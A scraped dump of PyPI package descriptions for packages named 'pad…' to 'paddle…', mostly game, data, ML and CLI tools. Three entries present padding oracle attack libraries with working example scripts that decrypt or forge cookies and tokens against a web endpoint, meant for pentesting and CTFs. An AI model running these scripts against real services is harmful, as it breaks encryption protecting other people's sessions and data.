Saravanan666/pypi-org huggingface dataset:
Package: pad-asset-manager
pad_asset_managerDescriptionA Python package for the popular iOS & Android game "Puzzle & Dragons" (PAD).Installationpip install pad_asset_managerExample Usage>>>importpad_asset_manageraspadtools>>>na_server=padtools.regions.north_america.server>>>jp_server=padtools.regions.japan.server>>>na_server.version'20.40'>>>jp_server.version'20.61'>>>len(na_server.assets)8661>>>len(jp_server.assets)10002>>>jp_server.assets[0].url'https://dl.padsv.gungho.jp/ext/mon2303312000111144657726426bd3bcd5e4/mons_001.bc'
Package: padawan
padawanWrangle partitioned data with polars.Installation$pipinstallpadawanDocumentationpadawanis a tool for out-of-core
processing of partitioned tabular datasets which are too large to hold
completely in memory. It usespolarsfor
representing and manipulating tabular data in memory and the parquet format
for storing partitions on disk.The full documentation is hosted atreadthedocs.io.
Package: padb
hi , pyadbget startpip install padbpadb --helpusage:commandline

positionalarguments:{device-info,log-info}optionalarguments:-h,--helpshowthishelpmessageandexit--versionshowprogram'sversionnumberandexit-sSERIAL_NO,--serialSERIAL_NOusedevicewithgivenserialpadb device-infousage:commandlinedevice-info[-h][-b][--top_activity][-i]optionalarguments:-h,--helpshowthishelpmessageandexit-b,--basicdevicebasicinfo--top_activitytopactivity-i,--imeigetimeipadb device-info -b[device-info:b/HONORs/CUYDU19701014125cid/A00000AD7B3287]>>parse_argsNamespace(basic=True,func=<boundmethodBaseCommand.__executeof<pyadb.cmd.device_info.DeviceInfoobjectat0x102d06f28>>,imei=False,serial_no='',top_activity=False)[device-info:b/HONORs/CUYDU19701014125cid/A00000AD7B3287]>>execute[=]model:YAL-AL00[=]brand:HONOR[=]name:YAL-AL00[=]wmsize:(1080,2340)[=]wmdensity:480[=]androidversion:10[=]imei:A00000AD7B3287[=]ip/mac:('192.168.1.102/24','0x00001043')[=]board:YAL[=]abilist:['arm64-v8a','armeabi-v7a','armeabi'][=]cpucoresize:8[=]heapsize/m:512padb log-infousage:commandlinelog-info[-h][--tagsTAGS][--format{none,brief,process,tag,raw,time,threadtime,long}][-e]optionalarguments:-h,--helpshowthishelpmessageandexit--tagsTAGStag--format{none,brief,process,tag,raw,time,threadtime,long}format-e,--eventeventpackage source codepip3 install setuptools  ; pip3 install wheelpython3 setup.py sdist bdist_wheelupload packagepip3 install twinetwine upload dist/*reference:awesome adbAndroid】ADB工具原理探究python代码规范
Package: padc
padccli usingpython-ldaplib to create connections with Active Directory
this project usepoetrySetup for developmentcreate virtual environmentpython -m venv .venvactivate environmentpoetry shellinstallpadcpoetry installCreate .env file inside root directory to establish a ldap connection.envURI='ldap://192.168.0.213'
BIND_DN='administrator@rts.local'
AUTH_PASS='Mypasswd@123'
CA_PATH='' 
BASE_DN='DC=RTS,DC=LOCAL'padchas logging_settings.ini insidepadc/config[loggers]keys=root[handlers]keys=FileHandler,StreamHandler[formatters]keys=simpleFormatter[logger_root]level=DEBUGhandlers=FileHandler,StreamHandler[handler_FileHandler]class=FileHandlerformatter=simpleFormatterargs=('padc.log', 'a')[handler_StreamHandler]class=StreamHandlerformatter=simpleFormatterargs=(sys.stdout,)[formatter_simpleFormatter]format=%(asctime)s:%(levelname)s: %(message)sInstall padc from pypipip install padcYou can modify where log file will be created by editing logging_settings.ini
the default file is created at current directory with name 'padc.log'Runningcli written inTyperto manipulate operations in ADpadc --helpusersis the main subcommand, every subcommand has a helper optionpacd users --helppadchas in users subcommand some basic operations
if one of the supported operations run with--debugoption
when errors occurs the traceback and exception will be raised.exp:padc users create -f .env "Pingu pythonico" "Pingupassword@123" -c 514 --debugpadc users create-ldif -f .env --ldif example.ldifpadc users add-to-group --file .env "Pingu" "CN=testgroup,CN=Users,DC=RTS,DC=LOCAL" --debugpadc users remove-from-group --file .env "Pingu" "CN=testgroup,CN=Users,DC=RTS,DC=LOCAL"padc users delete --file .env "Pingu pythonico"padc users enable -f .env "Pingu" --debugpadc users disable "Pingu" --debugTestingSimple Unittest to create/delete/modify user account in ADpython -m unittest -v tests.test_msadBuildingpoetry build
Package: paddingoracle
python-paddingoracle is an API that provides pentesters a customizable
alternative toPadBusterand other padding oracle exploit tools that can’t
easily (without a heavy rewrite) be used in unique, per-app scenarios. Think
non-HTTP applications, raw sockets, client applications, unique encodings, etc.Usage:To use the paddingoracle API, simply implement theoracle()method from the
PaddingOracle API and raise aBadPaddingExceptionwhen the decrypter
reveals a padding oracle. To decrypt data, pass raw encrypted bytes todecrypt()with a block size (typically 8 or 16) and optional iv parameter.See below for an example (fromthe example):from paddingoracle import BadPaddingException, PaddingOracle
from base64 import b64encode, b64decode
from urllib import quote, unquote
import requests
import socket
import time

class PadBuster(PaddingOracle):
    def __init__(self, **kwargs):
        super(PadBuster, self).__init__(**kwargs)
        self.session = requests.Session()
        self.wait = kwargs.get('wait', 2.0)

    def oracle(self, data, **kwargs):
        somecookie = quote(b64encode(data))
        self.session.cookies['somecookie'] = somecookie

        while 1:
            try:
                response = self.session.get('http://www.example.com/',
                        stream=False, timeout=5, verify=False)
                break
            except (socket.error, requests.exceptions.RequestException):
                logging.exception('Retrying request in %.2f seconds...',
                                  self.wait)
                time.sleep(self.wait)
                continue

        self.history.append(response)

        if response.ok:
            logging.debug('No padding exception raised on %r', somecookie)
            return

        # An HTTP 500 error was returned, likely due to incorrect padding
        raise BadPaddingException

if __name__ == '__main__':
    import logging
    import sys

    if not sys.argv[1:]:
        print 'Usage: %s <somecookie value>' % (sys.argv[0], )
        sys.exit(1)

    logging.basicConfig(level=logging.DEBUG)

    encrypted_cookie = b64decode(unquote(sys.argv[1]))

    padbuster = PadBuster()

    cookie = padbuster.decrypt(encrypted_cookie, block_size=8, iv=bytearray(8))

    print('Decrypted somecookie: %s => %r' % (sys.argv[1], cookie))Creditspython-paddingoracle is a Python implementation heavily based onPadBuster,
an automated script for performing Padding Oracle attacks, developed by
Brian Holyfield of Gotham Digital Science.
Package: padding-oracle
Padding Oracle Automation in PythonThis script automates padding oracle attacks in Python, offering efficient and threaded execution.InstallationYou can install the script using one of these methods:Via PyPI:pip3install-Upadding_oracleDirectly from GitHub:pip3install-Ugit+https://github.com/djosix/padding_oracle.py.gitPerformanceThe script's performance varies depending on the number of request threads. This was tested in a CTF web challenge:Request ThreadsTime Taken117m 43s45m 23s161m 20s6456sUsageDecryptionWhen trying to decrypt a token like the one athttps://example.com/api/?token=M9I2K9mZxzRUvyMkFRebeQzrCaMta83eAE72lMxzg94%3D, this script assumes that the token is vulnerable to a padding oracle attack.frompadding_oracleimportdecrypt,base64_encode,base64_decodeimportrequestssess=requests.Session()# Uses connection poolingurl='https://example.com/api/'deforacle(ciphertext:bytes):response=sess.get(url,params={'token':base64_encode(ciphertext)})if'failed'inresponse.text:returnFalse# Token decryption failedelif'success'inresponse.text:returnTrueelse:raiseRuntimeError('Unexpected behavior')ciphertext=base64_decode('M9I2K9mZxzRUvyMkFRebeQzrCaMta83eAE72lMxzg94=')assertlen(ciphertext)%16==0plaintext=decrypt(ciphertext,block_size=16,oracle=oracle,num_threads=16,)EncryptionBelow is an example demonstrating how to encrypt arbitrary bytes. For a detailed understanding of the process, please refer tothis Pull Request.frompadding_oracleimportencryptciphertext=encrypt(b'YourTextHere',block_size=16,oracle=oracle,num_threads=16,)Customized LoggingBothencryptanddecryptallow user to inject a custom logger:Disable Logging:frompadding_oracleimportnop_loggerplaintext=decrypt(...logger=nop_logger,)Selective Logging:deflogger(kind:str,message:str):ifkindin('oracle_error','solve_block_error'):print(f'[{kind}]{message}')plaintext=decrypt(...logger=logger,)ExtrasThe script also includes PHP-like encoding and decoding functions:frompadding_oracle.encodingimporturlencode,urldecode,base64_encode,base64_decodeTODOSupport more padding schemesLicenseThis script is distributed under the MIT license.
Package: padding-oracle-attack
A library for padding oracle attack concurrentlyPayload_model is a abstract class handling all details of padding oracle attack algorithm.
You should specify a subclass of payload_model and change some import methods. You can customize it to fit different environment.UsageGet clear text from cipher textfrompadding_oracle_attackimportpayload_modelimportgrequestsfromgrequestsimportrequestclasspayload(payload_model):defpadding_ok(self,resp:Response)->bool:ifresp.status_code==200:returnTrueelse:returnFalsedefrecover_fake_data(self,req:Request,fake_datas):forfake_datainfake_datas:ifbytes.hex(fake_data)inreq.url:returnfake_datareturnNonedefmake_request(self,fake_data)->request:params={"data":bytes.hex(fake_data)}returnrequest("get","http://127.0.0.1:5000",params=params)if__name__=="__main__":m=payload("3a10f84900818b1c439430600524fb0f00000000000000000000000000000000")m.run()Fake cipher text via clear text...# some code same as the former...if__name__=="__main__":m=payload("3a10f84900818b",fake=True)m.run()ResultSave and Load sessionWhen breaking down the execution(CTRL-C), it will save session to file 'padding-session.txt' automaticly.You can load session like below.payload=Payload(bytes.hex(exp),fake=True)payload.load()payload.run()Installationpipinstallpadding-oracle-attack
Package: paddl
paddl: Parse Any DDLParse DDLs into objects using python.Ambitious title, supported SQL languages include:RudamentaryCREATE TABLEimplemented, pursuing MySQL 8 first.frompaddlimportparse,ColTypeschema=parse("CREATE TABLE employees (id int, name varchar(255));",'mysql')table=schema.tables[0]table.name# "employees"table.columnscolumn=table.columns[0]column.name=='id'column.type==ColType.INTcommand linepaddloffers "No Code" CLI solutions, such as rendering ER Diagrams.>python-mpaddl
usage:paddl[-h][--erd]sql
Package: paddlefsl
PaddleFSLPaddleFSL is a Python library for few-shot learning (FSL) built upon PaddlePaddle 2.0.Provide various
FSL solutions which are applicable to diverse applications.Contain detailed
annotations and tutorial examples, such that users can easily develop and compare different FSL solutions.Can be easily deployed on various training platforms.Overviewpaddlefsl: The proposed package for FSL.paddlefsl.backbones: It provides representation learning models to extract sample representation, such as CNN, GNN and PLM.paddlefsl.datasets: It provides publicly accessible benchmark few-shot datasets of diverse application scenarios, such as Omniglot, FewRel, FewGLUE and Tox21.paddlefsl.model_zoo: It provides classical FSL models which particularly deal with the lack of labeled data, such as ProtoNet, MAML and PET.paddlefsl.task_sampler: It provides APIs to split datasets into the typical N-way K-shot tasks.paddlefsl.utils: It provides auxiliary APIs of PaddleFSL.examples: It provides examples of applying PaddleFSL to diverse application scenarios, such as computer vision tasks, natural language tasks and bioinformatics tasks.raw_data: It provides guides to download and place the raw data files.test: It provides unit test files of functions and classes.InstallationTo use our package, users should first install paddlepaddle-v2.0.0 or later versions, seehttps://www.paddlepaddle.org.cn/install.First, install our required packages.# Clone our repository.gitclonehttps://github.com/tata1661/FSL-Mate.git# Install requirements.cdFSL-Mate/PaddleFSL
pipinstall-rrequirements.txtSecond, update environment variables.# Please edit env.sh to set the correct path of FSL-paddletoolkit directory.# Then do:sourceenv.sh# If you want to use our package frequently, you can add environment variables into .bashrccatenv.sh>>~/.bashrcsource~/.bashrcFinally, check whether the installation is successful.# Start a python interpreterpython
>>>importpaddlefsl
>>>paddlefsl.__version__'1.1.0'ContributingPaddleFSL is mainly contributed by W Group led byYaqing Wang. The full list of PaddleFSL contributors ishere.We also welcome and appreciate community contribution to improve PaddleFSL, such as introducing new datasets, models and algorithms, designing new features and fixing bugs.
The codes can be contributed via pull requests and code review.
Please also feel free to open an issue for feedbacks or advices.
Package: paddle-gpu-serving
paddle-gpu-servingpaddle-gpu-serving简介是基于Paddle Serving框架的模型预测服务库，通过少量代码即可部署和使用指定的模型进行远程预测。目前支持使用PaddleHub语义理解模型库中的BERT类模型获取文本对应的向量表示。其中serving服务的代码参考bert模型服务demo server端。安装server端环境要求：python3，paddlepaddle>=1.6，paddlehub>=1.4pipinstallpaddle-gpu-servingclient端环境要求：ujson，python2或python3下载bert_service.py脚本使用使用server端frompaddle_gpu_serving.runimportBertServerbs=BertServer(with_gpu=True)bs.with_model('bert_chinese_L-12_H-768_A-12')bs.run(gpu_index=0,port=8010)client端bc=BertService(model_name='bert_chinese_L-12_H-768_A-12',max_seq_len=20,show_ids=False,do_lower_case=True)bc.add_server('127.0.0.1:8010')result=bc.encode([["远上寒山石径斜"],])print(result[0])
Package: paddlejsconverter
PaddleJsConverterInstallationSystem Requirements:paddlepaddle >= 2.0.0paddlejslite >= 0.0.2Python3： 3.5.1+ / 3.6 / 3.7Python2： 2.7.15+Install PaddleJsConverterpipinstallpaddlejsconverter# orpip3installpaddlejsconverterUsagepaddlejsconverter--modelPath=user_model_path--paramPath=user_model_params_path--outputDir=model_saved_path--useGPUOpt=True注意：useGPUOpt 选项默认不开启，如果模型用在 gpu backend（webgl/webgpu），则开启 useGPUOpt，如果模型运行在（wasm/plain js）则不要开启。
Package: paddlejsmodelcheck
PaddleJsModelCheckCheck if there are unsupported operators in the model
Check if there are tensors which shape are exceed the MAX_TEXTURE_SIZEInstallationSystem Requirements:paddlepaddle >= 2.0.0Python3： 3.5.1+ / 3.6 / 3.7Python2： 2.7.15+Install PaddleJsModelCheckpip3installpaddlejsmodelcheck# orpipinstallpaddlejsmodelcheckUsage# model and params file should be put in a same directorypaddlejsmodelcheck--modelPath=user_model_path--paramPath=user_model_params_path# or# source codepython3check.py--modelPath=user_model_path--paramPath=user_model_params_path
Package: paddlelabel
中文 |English飞桨智能标注，让标注快人一步最新动态【2023-01-17】 :fire: PaddleLabel 1.0 版本发布！【OCR】新增 OCR 项目标注能力，支持PP-OCRv3模型预标注【导入/导出】新增 EISeg 格式导入，新增大量自动化测试，修复诸多导入导出 bug【文档】对文档进行重新梳理，内容简洁清晰并和软件一同打包发布，进一步降低上手难度【2022-11-30】 :fire: PaddleLabel 0.5 版本发布！【界面】全面升级分类、检测及分割的前端标注界面体验，显著提升标注流畅度【分类】新增 PPLCNet 预训练模型，为分类功能提供预标注能力【检测】新增 PicoDet 预训练模型，为检测功能提供预标注能力【分割】(1)优化语义分割及实例分割关于实例的区分，实例分割通过'确认轮廓'来区分实例; (2)新增根据类别或根据实例选择颜色显示模式; (3)修复交互式分割 localStorage 超限问题更多动态简介PaddleLabel 是基于飞桨 PaddlePaddle 各个套件功能提供的配套标注工具。目前支持对分类、检测、分割、OCR 四种常见的计算机视觉任务数据集进行标注和管理，除基础的手动标注功能外也支持深度学习辅助标注，可以有效地提升标注效率。您可以使用 PaddleLabel 快捷高效地标注自定义数据集，之后将其导出使用飞桨套件进行模型训练。PaddleLabel 的代码分布于三个项目中，本项目包含 PaddleLabel 的 Web 后端实现。PaddleLabel-Frontend是基于 React 和 Ant Design 构建的前端，PaddleLabel-ML是基于飞桨实现的自动和交互式深度学习辅助标注后端。特性简单一行pip install安装，手动标注直观易操作，机器学习后端安装即用无需复杂配置，极易上手高效支持交互式分割和多种预标注，显著提升标注效率和精度灵活分类支持单分类和多分类标注，分割支持多边形、笔刷及交互式分割等多种工具，方便您根据场景灵活选择标注方式全流程与飞桨其它套件紧密配合，帮助您高效完成数据标注、模型训练与导出等全流程操作技术交流如果您有任何使用问题、产品建议、功能需求, 可以提交 Issues与开发团队交流欢迎您扫码加入 PaddleLabel 微信群和小伙伴们一起交流学习。如果二维码过期可以添加开发同学微信 linhandev 进群使用教程安装指南快速开始进行标注图像分类目标检测语义分割实例分割OCR深度学习辅助标注机器学习后端安装指南自动预标注使用方法交互式分割使用方法训练教程使用 PaddleClas 进行训练使用 PaddleDet 进行训练使用 PaddleSeg 进行训练使用 PaddleX 进行训练AI Studio 项目花朵分类道路标志检测图像分割如何使用 PaddleX 进行训练社区贡献贡献者感谢下列开发者参与或协助 PaddleLabel 的开发、维护、测试等：linhandev、cheneyveron、RotPublic、ztty8888、haoyuying、monkeycc、geoyee、Youssef-Harby、yzl19940819参与开发PaddleLabel项目是团队合作的成果，我们十分欢迎感兴趣的大佬加入项目的开发和维护。如果您对参与项目建设感兴趣，请通过微信交流群联系开发团队。有关后端实现的详细信息，请参阅开发者指南。(返回顶部)学术引用@misc{paddlelabel2022,
    title={PaddleLabel, an effective and flexible tool for data annotation},
    author={PaddlePaddle Authors},
    howpublished = {\url{https://github.com/PaddleCV-SIG/PaddleLabel}},
    year={2022}
}
Package: paddlelabel-ml
PaddleLabel-MLPaddleLabel机器学习辅助标注后端。PaddleLabel-ML 中的模型分为两类：自动推理模型和交互式模型。所有模型在分发时都包含一套默认权重，部分模型支持指定非默认权重。目前模型包括交互式模型：EISeg自动推理模型：PicoDetPPLcNet安装说明通过 PIP 安装pipinstallpaddlelabel-ml安装最新开发版PaddleLabel 开发团队会不定期从最新的 develop 分支中使用 Github Action 构建开发版安装包。开发版较 pypi 版本经过测试较少，可能存在更多的 bug。开发版中会包含最新的功能和修复。安装开发版的步骤为访问 PaddleLabel-ML 构建 Github Action页面，点击进入最上方（最新的一次）Action 运行。点击下载构建出的安装包解压下载的安装包，其中应包含两个文件。之后使用 pip 安装其中 whl 结尾的文件，如 paddlelabel_ml-0.5.0-py3-none-any.whl。不同版本的版本号会有不同# 注意修改命令中文件名部分pipinstallpaddlelabel_ml-[版本号]-py3-none-any.whl通过源码安装首先将代码克隆到本地：gitclonehttps://github.com/PaddleCV-SIG/PaddleLabel-ML安装：cdPaddleLabel-ML
pythonsetup.pyinstall启动完成上述的安装操作后，可以直接在终端使用如下指令启动 PaddleLabel 的机器学习端。paddlelabel_ml# 启动ml后端*EISeg模型下载模型类型适用场景模型结构模型下载地址高精度模型通用场景的图像标注HRNet18_OCR64static_hrnet18_ocr64_cocolvis轻量化模型通用场景的图像标注HRNet18s_OCR48static_hrnet18s_ocr48_cocolvis高精度模型通用图像标注场景EdgeFlowstatic_edgeflow_cocolvis高精度模型人像标注场景HRNet18_OCR64static_hrnet18_ocr64_human轻量化模型人像标注场景HRNet18s_OCR48static_hrnet18s_ocr48_human轻量化模型遥感建筑物标注场景HRNet18s_OCR48static_hrnet18_ocr48_rsbuilding_instance高精度模型*x 光胸腔标注场景Resnet50_Deeplabv3+static_resnet50_deeplab_chest_xray轻量化模型医疗肝脏标注场景HRNet18s_OCR48static_hrnet18s_ocr48_lits轻量化模型*MRI 椎骨图像标注场景HRNet18s_OCR48static_hrnet18s_ocr48_MRSpineSeg轻量化模型*质检铝板瑕疵标注场景HRNet18s_OCR48static_hrnet18s_ocr48_aluminium
Package: paddlelibrosa
Paddle-Librosa: Paddle implementation of LibrosaThis codebase provides Paddle implementation of some librosa functions. If users previously used for training cpu-extracted features from librosa, but want to add GPU acceleration during training and evaluation, Paddle-Librosa will provide almost identical features to standard paddlelibrosa functions (numerical difference less than 1e-5).Install$gitclonehttps://github.com/AgentMaker/Paddle-Librosa.git
$pipinstallPaddle-Librosa/Examples 1Extract Log mel spectrogram with Paddle-Librosa.importpaddleimportpaddlelibrosaasplbatch_size=16sample_rate=22050win_length=2048hop_length=512n_mels=128batch_audio=paddle.uniform((batch_size,sample_rate))# (batch_size, sample_rate)# Paddle-Librosa feature extractor the same as librosa.feature.melspectrogram()feature_extractor=paddle.nn.Sequential(pl.Spectrogram(hop_length=hop_length,win_length=win_length,),pl.LogmelFilterBank(sr=sample_rate,n_mels=n_mels,is_log=False,# Default is true))batch_feature=feature_extractor(batch_audio)# (batch_size, 1, time_steps, mel_bins)Examples 2Extracting spectrogram, then log mel spectrogram, STFT and ISTFT with Paddle-Librosa.importpaddleimportpaddlelibrosaasplbatch_size=16sample_rate=22050win_length=2048hop_length=512n_mels=128batch_audio=paddle.empty(batch_size,sample_rate).uniform_(-1,1)# (batch_size, sample_rate)# Spectrogramspectrogram_extractor=pl.Spectrogram(n_fft=win_length,hop_length=hop_length)sp=spectrogram_extractor.forward(batch_audio)# (batch_size, 1, time_steps, freq_bins)# Log mel spectrogramlogmel_extractor=pl.LogmelFilterBank(sr=sample_rate,n_fft=win_length,n_mels=n_mels)logmel=logmel_extractor.forward(sp)# (batch_size, 1, time_steps, mel_bins)# STFTstft_extractor=pl.STFT(n_fft=win_length,hop_length=hop_length)(real,imag)=stft_extractor.forward(batch_audio)# real: (batch_size, 1, time_steps, freq_bins), imag: (batch_size, 1, time_steps, freq_bins) ## ISTFTistft_extractor=pl.ISTFT(n_fft=win_length,hop_length=hop_length)y=istft_extractor.forward(real,imag,length=batch_audio.shape[-1])# (batch_size, samples_num)External linksOther related repos include:torchlibrosa:https://github.com/qiuqiangkong/torchlibrosaContact usEmail :agentmaker@163.comQQ Group : 1005109853
Package: paddle-nnUNet
简体中文 | [EN]飞桨nnUNet医学图像分割框架，一个基于PaddlePaddle翻译的nnUNet全新版本！nnUNetUNet几乎是卷积神经网络在医学图像分割领域的基线模型，同样地出现了许多基于UNet的改进版本，比如：V-Net和UNet++。作为一个自适应框架，nnUNet无疑是所有改进和优化模型中最成功的一个。nnUNet已经有Pytorch版本，而这是对应的PaddlePaddle版本。如果想了解nnU-Net的更多信息，请阅读发布的论文。安装方式待补充使用教程数据转换待补充实验计划和预处理待补充模型的训练待补充详细的教程推荐如果你还想了解更详细的教程解析，请参考ReadTheDocs教程，这里啥都有讲！可用性不够好？也请让我们知道！许可证书本项目的发布受Apache 2.0 license许可认证。
Package: paddleocr-convert
paddleocr_convert1. Install package by pypi.pipinstallpaddleocr_convert2. Run by command line.Usage:$paddleocr_convert-h
usage:paddleocr_convert[-h][-pMODEL_PATH][-oSAVE_DIR][-txt_pathTXT_PATH]optionalarguments:
-h,--helpshowthishelpmessageandexit-pMODEL_PATH,--model_pathMODEL_PATHTheinferencemodelurlorlocalpathofpaddleocr.e.g.https://paddleocr.bj.bcebos.com/PP-OCRv3/chinese/ch_PP-OCRv3_det_infer.tarormodels/ch_PP-OCRv3_det_infer.tar
-oSAVE_DIR,--save_dirSAVE_DIRThedirectoryofsavingthemodel.
-txt_pathTXT_PATH,--txt_pathTXT_PATHTherawtxturlorlocaltxtpath,ifthemodelisrecognitionmodel.Example:# online$paddleocr_convert-phttps://paddleocr.bj.bcebos.com/PP-OCRv3/chinese/ch_PP-OCRv3_det_infer.tar\-omodels

$paddleocr_convert-phttps://paddleocr.bj.bcebos.com/PP-OCRv3/chinese/ch_PP-OCRv3_rec_infer.tar\-omodels\-txt_pathhttps://raw.githubusercontent.com/PaddlePaddle/PaddleOCR/release/2.6/ppocr/utils/ppocr_keys_v1.txt# offline$paddleocr_convert-pmodels/ch_PP-OCRv3_det_infer.tar\-omodels

$paddleocr_convert-pmodels/ch_PP-OCRv3_rec_infer.tar\-omodels\-txt_pathmodels/ppocr_keys_v1.txt3. Run by script.online modefrompaddleocr_convertimportPaddleOCRModelConvertconverter=PaddleOCRModelConvert()save_dir='models'url='https://paddleocr.bj.bcebos.com/PP-OCRv3/chinese/ch_PP-OCRv3_rec_infer.tar'txt_url='https://raw.githubusercontent.com/PaddlePaddle/PaddleOCR/release/2.6/ppocr/utils/ppocr_keys_v1.txt'converter(url,save_dir,txt_path=txt_url)offline modefrompaddleocr_convertimportPaddleOCRModelConvertconverter=PaddleOCRModelConvert()save_dir='models'model_path='models/ch_PP-OCRv3_rec_infer.tar'txt_path='models/ppocr_keys_v1.txt'converter(model_path,save_dir,txt_path=txt_path)See more details forPaddleOCRModelConvert.
Package: paddlepaddle-stubs
PaddlePaddle StubsWIPA stubs package as described inPEP 561forPaddlePaddle.目前仅针对Pyright进行了编写和测试，尚未支持Mypy（Mypy 相对于 Pyright 太难用了，缺失功能太多），因此目前可能仅仅与 VS Code 的 Pylance 扩展一起工作良好～Note本 repo 非运行时库，因此本 repo 中所有示例和单测可能在运行时并不能正常运行，仅仅是为了更加全面和方便对类型进行检查而已。Usagepipinstallpaddlepaddle-stubs--pre此时再打开编辑器，查看编辑器的类型提示～～～VS Code 推荐配置：{
   "python.languageServer": "Pylance",
   // 现在有一些类型在 strict mode 工作的并不是很好，推荐先使用 basic mode
   "python.analysis.typeCheckingMode": "basic",
   "python.analysis.inlayHints.functionReturnTypes": true,
   "python.analysis.inlayHints.variableTypes": true
}Status起步阶段，最低支持 Python3.7，目前基于 PaddlePaddle 2.3.1 开发，第一个可用版本应当是 2.3.1 版本或者更晚的 2.4 版本～RoadmapSeepaddlepaddle-stubs 2.3.1 Roadmap2.4.0 alphaNote此时本 repo 可 public，并发布到 PyPI通过 basic mode 的类型检查完善全部 P1 级别的类型信息（strict 下工作良好）2.4.0 beta完善全部 P2 级别的类型信息（strict 下工作良好）官网示例高层 API 搭建 MNIST 示例代码在 strict 模式下工作良好Future之后应该是一边升级到新版本（2.4.0），一边继续完善 P3、P4、P5 级别的类型信息（strict 下工作良好）要添加的还有很多，各个 API 类型信息需要仔细填写（修改自动生成的Any，添加返回值类型），有兴趣的小伙伴可以一起来参与呀～